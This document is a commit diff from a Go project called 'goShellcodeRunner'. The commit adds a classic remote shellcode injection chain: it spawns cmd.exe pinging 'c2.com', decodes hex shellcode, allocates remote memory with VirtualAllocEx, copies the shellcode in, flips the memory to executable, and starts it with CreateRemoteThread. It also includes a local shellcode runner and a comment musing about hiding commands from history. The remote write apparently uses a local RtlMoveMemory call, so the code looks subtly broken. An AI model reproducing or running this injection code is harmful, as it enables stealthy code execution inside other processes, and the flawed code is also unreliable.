Skip to content

Commit d93e531

Browse files
committed
Fixed remote process memory allocations bug, Removed redundant OpenProcess(), Added ChangeRemoteProcessPermission(), CreateRemoteThread()
1 parent 66ea9d4 commit d93e531

File tree

7 files changed

+124
-25
lines changed

7 files changed

+124
-25
lines changed

DLL/index.go

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,10 @@ package dll
22

33
import "syscall"
44

5+
// TODO: Refactor all function to use New_kernel32()
56
var (
6-
Kernel32 *syscall.LazyDLL = syscall.NewLazyDLL("kernel32.dll")
7-
Use32dll *syscall.LazyDLL = syscall.NewLazyDLL("User32.dll")
8-
NtDll *syscall.LazyDLL = syscall.NewLazyDLL("ntdll.dll")
7+
New_kernel32 kernel32DLL
8+
Kernel32 *syscall.LazyDLL = syscall.NewLazyDLL("kernel32.dll")
9+
Use32dll *syscall.LazyDLL = syscall.NewLazyDLL("User32.dll")
10+
NtDll *syscall.LazyDLL = syscall.NewLazyDLL("ntdll.dll")
911
)

DLL/kernel32.go

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
package dll
2+
3+
import (
4+
"syscall"
5+
)
6+
7+
// TradeOff: While you using struct and methods, you should define a constructor for it
8+
// Every time you want to use Kernel32, you have to New() it & it takes more memory area in comparesion of use:
9+
// var Kernel32 *syscall.LazyDLL = syscall.NewLazyDLL("kernel32.dll")
10+
type kernel32DLL struct {
11+
}
12+
13+
func (k *kernel32DLL) newKernel32DLL() *kernel32DLL {
14+
return k
15+
}
16+
17+
func (*kernel32DLL) VirtualAllocEx(
18+
processHandle *syscall.Handle,
19+
memorySize int,
20+
allocationType int,
21+
regionProtections int) (address uintptr, lastError error) {
22+
23+
proc := Kernel32.NewProc("VirtualAllocEx")
24+
25+
addr, _, lastErr := proc.Call(uintptr(*processHandle),
26+
uintptr(0),
27+
uintptr(memorySize),
28+
uintptr(allocationType),
29+
uintptr(regionProtections),
30+
)
31+
32+
return addr, lastErr
33+
}

HeapWalk/heapwalk.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ func GetProcessHeap() {
2121

2222
heapHandle, _, lastErr := procGetProcessHeap.Call()
2323
if lastErr == windows.NTE_OP_OK {
24-
24+
// TODO: complete process heap walk.
2525
}
2626

2727
var heapEntry PROCESS_HEAP_ENTRY

Process/cmd.go

Lines changed: 22 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,10 @@ import (
1212
const PROCESS_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF
1313

1414
func CreateCmdProcess() syscall.Handle {
15+
// TODO: In Bash, when you add a SPACE before your command, it hides from history!
16+
// How can I do the same in cmd or Powershell?
17+
// What other techniques is there for hide ourself?
18+
// https://www.linkedin.com/posts/activity-7290113056188112898-RBXE?utm_source=share&utm_medium=member_desktop&rcm=ACoAADR0WIUBHui16sjo_P6svUUR2yJg4DCoe7w
1519
cmdPtr, err := syscall.UTF16PtrFromString("C:\\Windows\\System32\\cmd.exe")
1620
cmdArgPtr, err2 := syscall.UTF16FromString(" /c ping /t c2.com")
1721

@@ -36,7 +40,9 @@ func CreateCmdProcess() syscall.Handle {
3640
// CREATE_UNICODE_ENVIRONMENT = 0x00000400
3741
// DEBUG_PROCESS = 0x00000001
3842
// https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags#flags
39-
0x00000800, nil, nil,
43+
44+
// Used NewConsole for debuggging and end process!
45+
0x00000010, nil, nil,
4046
&startupInfo,
4147
&procInfo)
4248

@@ -48,14 +54,22 @@ func CreateCmdProcess() syscall.Handle {
4854

4955
log.Printf("[PROC] Try To Make A Handle From PID(%v) (cmd.exe) \n", procInfo.ProcessId)
5056

51-
pHandle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, false, procInfo.ProcessId)
57+
// createHandle_Old contents....
5258

53-
if err != nil {
59+
log.Printf("[PROC] Handle From PID(%v) = %v \n", procInfo.ProcessId, procInfo.Process)
5460

55-
log.Panicf("[PROC] Error While Getting Handle \"%v\" \n", err)
56-
}
61+
return procInfo.Process
62+
}
5763

58-
log.Printf("[PROC] Handle From PID(%v) = %v \n", procInfo.ProcessId, pHandle)
64+
// func createHandle_Old() {
65+
// pHandle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, false, procInfo.ProcessId)
5966

60-
return pHandle
61-
}
67+
// if err != nil {
68+
69+
// log.Panicf("[PROC] Error While Getting Handle \"%v\" \n", err)
70+
// }
71+
72+
// log.Printf("[PROC] Handle From PID(%v) = %v \n", procInfo.ProcessId, pHandle)
73+
74+
// return pHandle
75+
// }

Shellcode/calculator.go

Lines changed: 10 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -16,11 +16,11 @@ func ExecuteCalculator() {
1616

1717
shellAddr, shellSrc := AllocateShellcode()
1818

19-
CopyShellcodeToMemory(&shellAddr, &shellSrc)
19+
CopyShellcodeToMemory(shellAddr, &shellSrc)
2020

2121
ChangeShellcodeMemoryToRX(&shellAddr, len(shellSrc))
2222

23-
tHandle := CreateThread(&shellAddr)
23+
tHandle := CreateThread(shellAddr)
2424

2525
RunShellcode(&tHandle)
2626
log.Print("[SHELL] Shellcode Executed Successfully\n")
@@ -46,16 +46,19 @@ func AllocateShellcode() (uintptr, []byte) {
4646
return shellAddr, shellCodeSrc
4747
}
4848

49-
func CopyShellcodeToMemory(shellcodeAddr *uintptr, shellCodeSrc *[]byte) {
49+
func CopyShellcodeToMemory(destAddr uintptr, shellCodeSrc *[]byte) {
5050

5151
procRtlMoveMemory := dll.NtDll.NewProc("RtlMoveMemory")
5252

53-
procRtlMoveMemory.Call(*shellcodeAddr,
53+
procRtlMoveMemory.Call(
54+
55+
uintptr(unsafe.Pointer(&destAddr)),
5456
// 1. Dereference Before Indexing
5557
// 2. Pointer to First Element
5658
uintptr(unsafe.Pointer(&(*shellCodeSrc)[0])),
5759
uintptr(len(*shellCodeSrc)))
58-
log.Printf("[+] Shellcode Wrote Done 0x[%v] \n", shellcodeAddr)
60+
61+
log.Printf("[+] Shellcode Wrote Done 0x[%v] \n", destAddr)
5962
}
6063

6164
func ChangeShellcodeMemoryToRX(shellcodeAddr *uintptr, shellCodeSrcLen int) {
@@ -72,14 +75,14 @@ func ChangeShellcodeMemoryToRX(shellcodeAddr *uintptr, shellCodeSrcLen int) {
7275
log.Printf("[+] Shellcode Memory Permissions Changed To R-X \n")
7376
}
7477

75-
func CreateThread(shellAddr *uintptr) uintptr {
78+
func CreateThread(shellAddr uintptr) uintptr {
7679

7780
procCreateThread := dll.Kernel32.NewProc("CreateThread")
7881

7982
tHandle, _, lastErr := procCreateThread.Call(
8083
uintptr(0),
8184
uintptr(0),
82-
*shellAddr,
85+
shellAddr,
8386
uintptr(0),
8487
uintptr(0),
8588
uintptr(0))

Shellcode/injection.go

Lines changed: 51 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,31 @@
11
package shellcode
22

33
import (
4+
"encoding/hex"
45
dll "goShellcodeRunner/DLL"
56
process "goShellcodeRunner/Process"
67
"log"
8+
"syscall"
9+
"unsafe"
710

811
"golang.org/x/sys/windows"
912
)
1013

1114
func ClassicInjection() {
1215
cmdHandle := process.CreateCmdProcess()
1316

17+
// TODO: 1. WriteProcessMemory() Also Can Use CopyShellcodeToMemory()
18+
shellcode, unhandledErr := hex.DecodeString(HexShellcode)
19+
if unhandledErr != nil {
20+
log.Panicf(" unhandledErr \n")
21+
}
22+
1423
procVirtualAllocEx := dll.Kernel32.NewProc("VirtualAllocEx")
1524

1625
addr, _, lastErr := procVirtualAllocEx.Call(
1726
uintptr(cmdHandle),
1827
uintptr(0),
19-
uintptr(len(HexShellcode)),
28+
uintptr(len(shellcode)),
2029
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
2130
uintptr(windows.PAGE_READWRITE))
2231

@@ -26,7 +35,45 @@ func ClassicInjection() {
2635

2736
log.Printf("[INJECT] Memory Allocation Done, Address: 0x(%x)", addr)
2837

29-
// TODO: 1. WriteProcessMemory() Also Can Use CopyShellcodeToMemory()
30-
// 2. VirtualProtectEx()
31-
// 3. CreateThread()
38+
CopyShellcodeToMemory(addr, &shellcode)
39+
40+
log.Printf("[INJECT] Shellcode Moved To Process Memory \n")
41+
42+
ChangeRemoteProcessPermission(windows.Handle(cmdHandle), addr, len(shellcode), windows.PAGE_EXECUTE_READ)
43+
44+
CreateRemoteThread(cmdHandle, addr)
45+
46+
}
47+
48+
func ChangeRemoteProcessPermission(pHandle windows.Handle, addr uintptr, size int, newProtect uint32) {
49+
var oldProted uint32
50+
51+
err := windows.VirtualProtectEx(pHandle, addr, uintptr(size), newProtect, &oldProted)
52+
53+
if err != nil {
54+
log.Panicf("[INJECT] Error While Change RemoteProcess MemoryProtect (%v) \n", err)
55+
56+
}
57+
58+
}
59+
60+
func CreateRemoteThread(pHandle syscall.Handle, addr uintptr) {
61+
procCreateRemoteThread := dll.Kernel32.NewProc("CreateRemoteThread")
62+
63+
var threadId uint32 = 0
64+
65+
tHandle, _, lastErr := procCreateRemoteThread.Call(
66+
uintptr(pHandle),
67+
uintptr(0),
68+
uintptr(0),
69+
addr,
70+
uintptr(0),
71+
uintptr(0),
72+
uintptr(unsafe.Pointer(&threadId)))
73+
74+
if tHandle == 0 {
75+
log.Panicf("[INJECT] Error While Creating Remote Thraed (%v) \n", lastErr)
76+
77+
}
78+
log.Printf("[INJECT] Shellcode Execution Done! %v \n", tHandle)
3279
}

main.go

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ import (
88
func main() {
99
heapwalk.GetProcessHeap()
1010

11-
shellcode.ClassicInjection()
11+
// shellcode.ExecuteCalculator()
1212

13-
shellcode.ExecuteCalculator()
13+
shellcode.ClassicInjection()
1414
}

0 commit comments

Comments
 (0)